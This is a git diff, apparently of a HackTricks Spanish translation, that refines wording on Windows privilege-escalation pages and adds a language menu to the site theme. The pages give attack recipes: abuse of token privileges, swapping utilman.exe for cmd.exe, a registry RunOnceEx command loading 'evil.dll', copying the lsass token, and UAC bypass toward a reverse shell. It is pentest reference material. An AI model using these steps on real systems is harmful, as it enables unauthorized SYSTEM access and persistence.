+| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros   | _"Permitiría a un usuario impersonar tokens y escalar privilegios al sistema nt usando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_                                                                                                                                                                                              | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto.                                                                                                                                                                                         |
 | **`SeBackup`**             | **Amenaza** | _**Comandos integrados**_ | Leer archivos sensibles con `robocopy /b`                                                                                                                                                                                                                                                                                                             | <p>- Puede ser más interesante si puedes leer %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (y robocopy) no son útiles cuando se trata de archivos abiertos.<br><br>- Robocopy requiere tanto SeBackup como SeRestore para trabajar con el parámetro /b.</p>                                                                      |
 | **`SeCreateToken`**        | _**Admin**_ | herramienta de terceros   | Crear un token arbitrario que incluya derechos de administrador local con `NtCreateToken`.                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                |
 | **`SeDebug`**              | _**Admin**_ | **PowerShell**           | Duplicar el token de `lsass.exe`.                                                                                                                                                                                                                                                                                                                   | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)                                                                                                                                                                                                         |
-| **`SeLoadDriver`**         | _**Admin**_ | herramienta de terceros   | <p>1. Cargar un controlador de kernel con errores como <code>szkg64.sys</code><br>2. Explotar la vulnerabilidad del controlador<br><br>Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado <code>ftlMC</code>. es decir: <code>fltMC sysmondrv</code></p> | <p>1. La vulnerabilidad de <code>szkg64</code> está listada como <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. El <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">código de explotación</a> fue creado por <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
+| **`SeLoadDriver`**         | _**Admin**_ | herramienta de terceros   | <p>1. Cargar un controlador de kernel con errores como <code>szkg64.sys</code><br>2. Explotar la vulnerabilidad del controlador<br><br>Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado <code>ftlMC</code>. es decir: <code>fltMC sysmondrv</code></p> | <p>1. La vulnerabilidad <code>szkg64</code> está listada como <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. El <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">código de explotación</a> fue creado por <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
 | **`SeRestore`**            | _**Admin**_ | **PowerShell**           | <p>1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.<br>2. Habilitar el privilegio con <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>.<br>3. Renombrar utilman.exe a utilman.old<br>4. Renombrar cmd.exe a utilman.exe<br>5. Bloquear la consola y presionar Win+U</p> | <p>El ataque puede ser detectado por algún software antivirus.</p><p>El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.</p>                                                                                                                                                            |
 | **`SeTakeOwnership`**      | _**Admin**_ | _**Comandos integrados**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Renombrar cmd.exe a utilman.exe<br>4. Bloquear la consola y presionar Win+U</p>                                                                                                                                       | <p>El ataque puede ser detectado por algún software antivirus.</p><p>El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.</p>                                                                                                                                                           |
 | **`SeTcb`**                | _**Admin**_ | herramienta de terceros   | <p>Manipular tokens para tener derechos de administrador local incluidos. Puede requerir SeImpersonate.</p><p>Por verificar.</p>                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
index 737e0722f..ffa4de82d 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
@@ -36,7 +36,7 @@ Si has habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un **t
 
 ### SeBackupPrivilege
 
-El sistema se ve obligado a **otorgar todo el acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, después de lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\
+El sistema se ve obligado a **otorgar todo acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, después de lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\
 Puedes **abusar de este privilegio** con:
 
 - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
@@ -54,7 +54,7 @@ Este privilegio proporciona permiso para **acceso de escritura** a cualquier arc
 
 ### SeCreateTokenPrivilege
 
-SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario posee la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad de suplantar un token que represente al mismo usuario y cuyo nivel de integridad no exceda el del proceso actual.
+SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario posee la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad de suplantar un token que representa al mismo usuario y cuyo nivel de integridad no excede el del proceso actual.
 
 **Puntos Clave:**
 
@@ -112,7 +112,7 @@ c:\inetpub\wwwwroot\web.config
 
 Este privilegio permite **depurar otros procesos**, incluyendo leer y escribir en la memoria. Se pueden emplear varias estrategias para la inyección de memoria, capaces de evadir la mayoría de las soluciones antivirus y de prevención de intrusiones en host, con este privilegio.
 
-#### Volcar memoria
+#### Dump memory
 
 Puedes usar [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) para **capturar la memoria de un proceso**. Específicamente, esto puede aplicarse al proceso **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, que es responsable de almacenar las credenciales de usuario una vez que un usuario ha iniciado sesión con éxito en un sistema.
 
@@ -146,7 +146,7 @@ Además, el proceso descrito en [este artículo de Medium](https://medium.com/@r
 ```
 whoami /priv
 ```
-Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, en realidad puedes abusar de los tokens _Habilitados_ y _Deshabilitados_.
+Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, de hecho, puedes abusar de los tokens _Habilitados_ y _Deshabilitados_.
 
 ### Habilitar Todos los tokens
 
@@ -163,14 +163,14 @@ Hoja de trucos de privilegios de token completa en [https://github.com/gtworek/P
 
 | Privilegio                 | Impacto     | Herramienta              | Ruta de ejecución                                                                                                                                                                                                                                                                                                                                     | Observaciones                                                                                                                                                                                                                                                                                                                        |
 | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros   | _"Permitiría a un usuario impersonar tokens y escalar privilegios al sistema nt utilizando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_                                                                                                                                                                                                      | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto.                                                                                                                                                                                         |
+| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros   | _"Permitiría a un usuario impersonar tokens y escalar privilegios al sistema nt usando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_                                                                                                                                                                                                      | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto.                                                                                                                                                                                         |
 | **`SeBackup`**             | **Amenaza** | _**Comandos integrados**_ | Leer archivos sensibles con `robocopy /b`                                                                                                                                                                                                                                                                                                             | <p>- Puede ser más interesante si puedes leer %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (y robocopy) no son útiles cuando se trata de archivos abiertos.<br><br>- Robocopy requiere tanto SeBackup como SeRestore para trabajar con el parámetro /b.</p>                                                                      |
 | **`SeCreateToken`**        | _**Admin**_ | herramienta de terceros   | Crear un token arbitrario que incluya derechos de administrador local con `NtCreateToken`.                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
 | **`SeDebug`**              | _**Admin**_ | **PowerShell**          | Duplicar el token de `lsass.exe`.                                                                                                                                                                                                                                                                                                                   | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)                                                                                                                                                                                                         |
 | **`SeLoadDriver`**         | _**Admin**_ | herramienta de terceros   | <p>1. Cargar un controlador de kernel con errores como <code>szkg64.sys</code><br>2. Explotar la vulnerabilidad del controlador<br><br>Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado <code>ftlMC</code>. es decir: <code>fltMC sysmondrv</code></p>                                                                           | <p>1. La vulnerabilidad de <code>szkg64</code> está listada como <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. El <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">código de explotación</a> fue creado por <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
 | **`SeRestore`**            | _**Admin**_ | **PowerShell**          | <p>1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.<br>2. Habilitar el privilegio con <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>.<br>3. Renombrar utilman.exe a utilman.old<br>4. Renombrar cmd.exe a utilman.exe<br>5. Bloquear la consola y presionar Win+U</p> | <p>El ataque puede ser detectado por algunos software antivirus.</p><p>El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio</p>                                                                                                                                                            |
 | **`SeTakeOwnership`**      | _**Admin**_ | _**Comandos integrados**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Renombrar cmd.exe a utilman.exe<br>4. Bloquear la consola y presionar Win+U</p>                                                                                                                                       | <p>El ataque puede ser detectado por algunos software antivirus.</p><p>El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.</p>                                                                                                                                                           |
-| **`SeTcb`**                | _**Admin**_ | herramienta de terceros   | <p>Manipular tokens para incluir derechos de administrador local. Puede requerir SeImpersonate.</p><p>Por verificar.</p>                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
+| **`SeTcb`**                | _**Admin**_ | herramienta de terceros   | <p>Manipular tokens para tener derechos de administrador local incluidos. Puede requerir SeImpersonate.</p><p>Por verificar.</p>                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
 
 ## Referencia
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
index 77bdb53ff..ae1323156 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@@ -74,7 +74,7 @@ Las claves de registro conocidas como **Run** y **RunOnce** están diseñadas pa
 - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
 - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
 
-En Windows Vista y versiones posteriores, las claves de registro **Run** y **RunOnce** no se generan automáticamente. Las entradas en estas claves pueden iniciar programas directamente o especificarlos como dependencias. Por ejemplo, para cargar un archivo DLL al iniciar sesión, se podría usar la clave de registro **RunOnceEx** junto con una clave "Depend". Esto se demuestra añadiendo una entrada de registro para ejecutar "C:\temp\evil.dll" durante el arranque del sistema:
+En Windows Vista y versiones posteriores, las claves de registro **Run** y **RunOnce** no se generan automáticamente. Las entradas en estas claves pueden iniciar programas directamente o especificarlos como dependencias. Por ejemplo, para cargar un archivo DLL al iniciar sesión, se podría usar la clave de registro **RunOnceEx** junto con una clave "Depend". Esto se demuestra al agregar una entrada de registro para ejecutar "C:\temp\evil.dll" durante el arranque del sistema:
 ```
 reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
 ```
@@ -174,7 +174,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers
 > [!NOTE]
 > Si puedes sobrescribir el valor del registro o el binario, podrás escalar privilegios.
 
-### Configuración de Políticas
+### Configuraciones de Política
 
 - `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
 - `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
@@ -201,7 +201,7 @@ Pasos para crear una opción de arranque para iniciar automáticamente en "Modo
 5. Vuelve a aplicar los atributos originales del archivo: `attrib c:\boot.ini +r +s +h`
 
 - **Explotación 1:** Cambiar la clave del registro **AlternateShell** permite la configuración de un shell de comandos personalizado, potencialmente para acceso no autorizado.
-- **Explotación 2 (Permisos de Escritura en PATH):** Tener permisos de escritura en cualquier parte de la variable del sistema **PATH**, especialmente antes de `C:\Windows\system32`, te permite ejecutar un `cmd.exe` personalizado, que podría ser una puerta trasera si el sistema se inicia en Modo Seguro.
+- **Explotación 2 (Permisos de Escritura en PATH):** Tener permisos de escritura en cualquier parte de la variable **PATH** del sistema, especialmente antes de `C:\Windows\system32`, te permite ejecutar un `cmd.exe` personalizado, que podría ser una puerta trasera si el sistema se inicia en Modo Seguro.
 - **Explotación 3 (Permisos de Escritura en PATH y boot.ini):** El acceso de escritura a `boot.ini` permite el inicio automático en Modo Seguro, facilitando el acceso no autorizado en el próximo reinicio.
 
 Para verificar la configuración actual de **AlternateShell**, utiliza estos comandos:
@@ -229,7 +229,7 @@ Dentro de estas claves, existen varias subclaves, cada una correspondiente a un
 
 **Perspectivas de Seguridad:**
 
-- Modificar o escribir en una clave donde **`IsInstalled`** esté configurado como `"1"` con un **`StubPath`** específico puede llevar a la ejecución no autorizada de comandos, potencialmente para la escalada de privilegios.
+- Modificar o escribir en una clave donde **`IsInstalled`** esté configurado en `"1"` con un **`StubPath`** específico puede llevar a la ejecución no autorizada de comandos, potencialmente para la escalada de privilegios.
 - Alterar el archivo binario referenciado en cualquier valor de **`StubPath`** también podría lograr la escalada de privilegios, dado que se tengan los permisos suficientes.
 
 Para inspeccionar las configuraciones de **`StubPath`** a través de los componentes de Active Setup, se pueden usar estos comandos:
@@ -293,7 +293,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
 ```
 ## SysInternals
 
-Tenga en cuenta que todos los sitios donde puede encontrar autoruns ya han sido **buscados por** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Sin embargo, para una **lista más completa de archivos auto-ejecutados**, puede usar [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de Sysinternals:
+Tenga en cuenta que todos los sitios donde puede encontrar autoruns ya han sido **buscados por** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Sin embargo, para una **lista más completa de archivos autoejecutados**, puede usar [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de Sysinternals:
 ```
 autorunsc.exe -m -nobanner -a * -ct /accepteula
 ```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
index bd3e726ad..8acf68592 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -3,7 +3,7 @@
 El siguiente código **exploita los privilegios SeDebug y SeImpersonate** para copiar el token de un **proceso que se ejecuta como SYSTEM** y con **todos los privilegios del token**. \
 En este caso, este código puede ser compilado y utilizado como un **binario de servicio de Windows** para verificar que está funcionando.\
 Sin embargo, la parte principal del **código donde ocurre la elevación** está dentro de la **función** **`Exploit`**.\
-Dentro de esa función puedes ver que se **busca el proceso** _**lsass.exe**_, luego se **copia su token**, y finalmente ese token se utiliza para iniciar un nuevo _**cmd.exe**_ con todos los privilegios del token copiado.
+Dentro de esa función puedes ver que se **busca el proceso **_**lsass.exe**_**, luego se **copia su token**, y finalmente ese token se utiliza para iniciar un nuevo _**cmd.exe**_ con todos los privilegios del token copiado.
 
 **Otros procesos** que se ejecutan como SYSTEM con todos o la mayoría de los privilegios del token son: **services.exe**, **svhost.exe** (uno de los primeros), **wininit.exe**, **csrss.exe**... (_recuerda que no podrás copiar un token de un proceso protegido_). Además, puedes usar la herramienta [Process Hacker](https://processhacker.sourceforge.io/downloads.php) ejecutándose como administrador para ver los tokens de un proceso.
 ```c
diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
index 9baed469b..dec93dac0 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
@@ -142,7 +142,7 @@ return 0;
 ```
 ### Error
 
-En algunas ocasiones, puede que intentes suplantar a System y no funcione, mostrando una salida como la siguiente:
+En algunas ocasiones, puedes intentar suplantar a System y no funcionará, mostrando una salida como la siguiente:
 ```cpp
 [+] OpenProcess() success!
 [+] OpenProcessToken() success!
diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
index a770dee29..0b5900e5c 100644
--- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md
+++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
@@ -85,15 +85,15 @@ whoami /groups | findstr Level
 ## Bypass de UAC
 
 > [!NOTE]
-> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es sencillo, ya que puede simplemente hacer clic en "Sí" cuando aparece el aviso de UAC.
+> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es directo, ya que simplemente puede hacer clic en "Sí" cuando aparece el aviso de UAC.
 
 El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, su proceso se está ejecutando en un contexto de integridad media y su usuario pertenece al grupo de administradores**.
 
 Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Siempre) que si está en cualquiera de los otros niveles (Predeterminado).**
 
-### UAC deshabilitado
+### UAC desactivado
 
-Si el UAC ya está deshabilitado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como:
+Si el UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -139,7 +139,7 @@ Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https
 
 ### Explotaciones de elusión de UAC
 
-[**UACME** ](https://github.com/hfiref0x/UACME)que es una **compilación** de varias explotaciones de elusión de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\
+[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varias explotaciones de elusión de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\
 Debes **tener cuidado** porque algunas elusiones **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo.
 
 UACME tiene la **versión de compilación desde la cual cada técnica comenzó a funcionar**. Puedes buscar una técnica que afecte tus versiones:
diff --git a/theme/book.js b/theme/book.js
index 1c8d77287..ccba50404 100644
--- a/theme/book.js
+++ b/theme/book.js
@@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) {
     });
 })();
 
+
+(function menubarLanguage() {
+    var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle');
+    var menubarLanguagePopup = document.getElementById('menubar-languages-popup');
+    var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link');
+
+    function showLanguage() {
+        menubarLanguagePopup.style.display = 'flex';
+        menubarLanguageToggleButton.setAttribute('aria-expanded', true);
+    }
+
+    function hideLanguage() {
+        menubarLanguagePopup.style.display = 'none';
+        menubarLanguageToggleButton.setAttribute('aria-expanded', false);
+        menubarLanguageToggleButton.focus();
+    }
+
+    menubarLanguageToggleButton.addEventListener('click', function () {
+        if (menubarLanguagePopup.style.display === 'flex') {
+            hideLanguage();
+        } else {
+            showLanguage();
+        }
+    });
+
+    menubarLanguagePopup.addEventListener('focusout', function(e) {
+        // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+        if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) {
+            hideLanguage();
+        }
+    });
+
+    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+    document.addEventListener('click', function(e) {
+        if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) {
+            hideLanguage();
+        }
+    });
+    
+    languageButtons.forEach((btn) => {
+        btn.addEventListener('click', function(e) {
+            const regex = /(?:(?:\/)+(?<lang>[a-z]{2}(?=\/|$)))?(?<path>(?:\/)*.*)?/g
+            var match = regex.exec(window.location.pathname)
+          
+            var path = match.groups.path
+            console.log(`Path: ${path} ${typeof path}`)
+          
+            const lang = match.groups.lang
+            console.log(`Lang: ${lang}`)
+            
+            window.location = `/${e.target.id}${path}${window.location.hash}`
+        });
+    })
+})();
+
 (function chapterNavigation() {
     document.addEventListener('keydown', function (e) {
         if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
index 8cbda7c69..ead7ee881 100644
--- a/theme/css/chrome.css
+++ b/theme/css/chrome.css
@@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar {
     }
 }
 
+.right-buttons .icons {
+    display: flex;
+    flex-direction: row;
+    flex-wrap: wrap;
+    column-gap: 0.5rem;
+}
+
 .icon-button {
     border: none;
     background: var(--bg);
@@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar {
 
 /* Collapse Menu Popup */
 
+#menubar-collapse-toggle {
+    position: relative;
+}
 #menubar-collapse-popup {
     position: absolute;
-    right: 30px;
-    top: var(--menu-bar-height);
+    right: 0px;
+    top: 35px;
     z-index: 105;
     border-radius: 5px;
     font-size: 14px;
@@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar {
     background-color: var(--theme-hover);
 }
 
+/* Languages Menu Popup */
+#menubar-languages-toggle {
+    position: relative;
+}
+
+#menubar-languages-popup {
+    position: absolute;
+    right: 0px;
+    top: 35px;
+    z-index: 105;
+    border-radius: 5px;
+    font-size: 14px;
+    color: var(--fg);
+    background: var(--bg);
+    border: 1px solid var(--table-border-color);
+    margin: 0;
+    padding: 0px;
+    display: none;
+    flex-direction: column;
+    max-height: 300px;
+    width: 150px;
+    overflow: scroll;
+}
+#menubar-languages-popup .menu-bar-link {
+    border: 0;
+    margin: 0;
+    padding: 8px 20px;
+    line-height: 25px;
+    white-space: nowrap;
+    text-align: start;
+    cursor: pointer;
+    color: inherit;
+    background: inherit;
+    font-size: inherit;
+}
+#menubar-languages-popup .menu-bar-link:hover {
+    background-color: var(--theme-hover);
+}
 
 .left-buttons {
     display: flex;
diff --git a/theme/index.hbs b/theme/index.hbs
index ecd2565f4..95c964391 100644
--- a/theme/index.hbs
+++ b/theme/index.hbs
@@ -144,34 +144,60 @@
 
                         <div class="right-buttons">
                             <div id="menubar-collapse">
-                            <a class="menu-bar-link" href="https://training.hacktricks.xyz" target="_blank">
-                                Hacktricks Training
-                            </a>
-                            <a class="menu-bar-link" href="https://twitter.com/hacktricks_live" target="_blank">
-                                Twitter
-                            </a>
-                            <a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
-                                Linkedin
-                            </a>
-                            <a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
-                                Sponsor
-                            </a>
-                            </div>
-                            <button id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
-                                <i class="fa fa-ellipsis-h"></i>
-                            </button>
-                            <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
-                                <a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
-                                <a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
-                                <a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
-                                <a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
+                                <a class="menu-bar-link" href="https://training.hacktricks.xyz" target="_blank">
+                                    Hacktricks Training
+                                </a>
+                                <a class="menu-bar-link" href="https://twitter.com/hacktricks_live" target="_blank">
+                                    Twitter
+                                </a>
+                                <a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
+                                    Linkedin
+                                </a>
+                                <a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
+                                    Sponsor
+                                </a>
                             </div>
+                            <div class="icons">
+                                <div id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
+                                    <i class="fa fa-ellipsis-h"></i>
+                                    <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
+                                        <a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
+                                        <a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
+                                        <a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
+                                        <a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
+                                    </div>
+                                </div>
 
-                            {{#if search_enabled}}
-                            <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
-                                <i class="fa fa-search"></i>
-                            </button>
-                            {{/if}}
+                                {{#if search_enabled}}
+                                <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
+                                    <i class="fa fa-search"></i>
+                                </button>
+                                {{/if}}
+
+                                <div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
+                                    <i class="fa fa-globe"></i>
+                                    
+                                    <div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
+                                        <button id="en" role="menuitem" class="menu-bar-link">English</button>
+                                        <button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
+                                        <button id="fr" role="menuitem" class="menu-bar-link">French</button>
+                                        <button id="de" role="menuitem" class="menu-bar-link">German</button>
+                                        <button id="el" role="menuitem" class="menu-bar-link">Greek</button>
+                                        <button id="hi" role="menuitem" class="menu-bar-link">Hindi</button>
+                                        <button id="it" role="menuitem" class="menu-bar-link">Italian</button>
+                                        <button id="ja" role="menuitem" class="menu-bar-link">Japanese</button>
+                                        <button id="ko" role="menuitem" class="menu-bar-link">Korean</button>
+                                        <button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
+                                        <button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
+                                        <button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
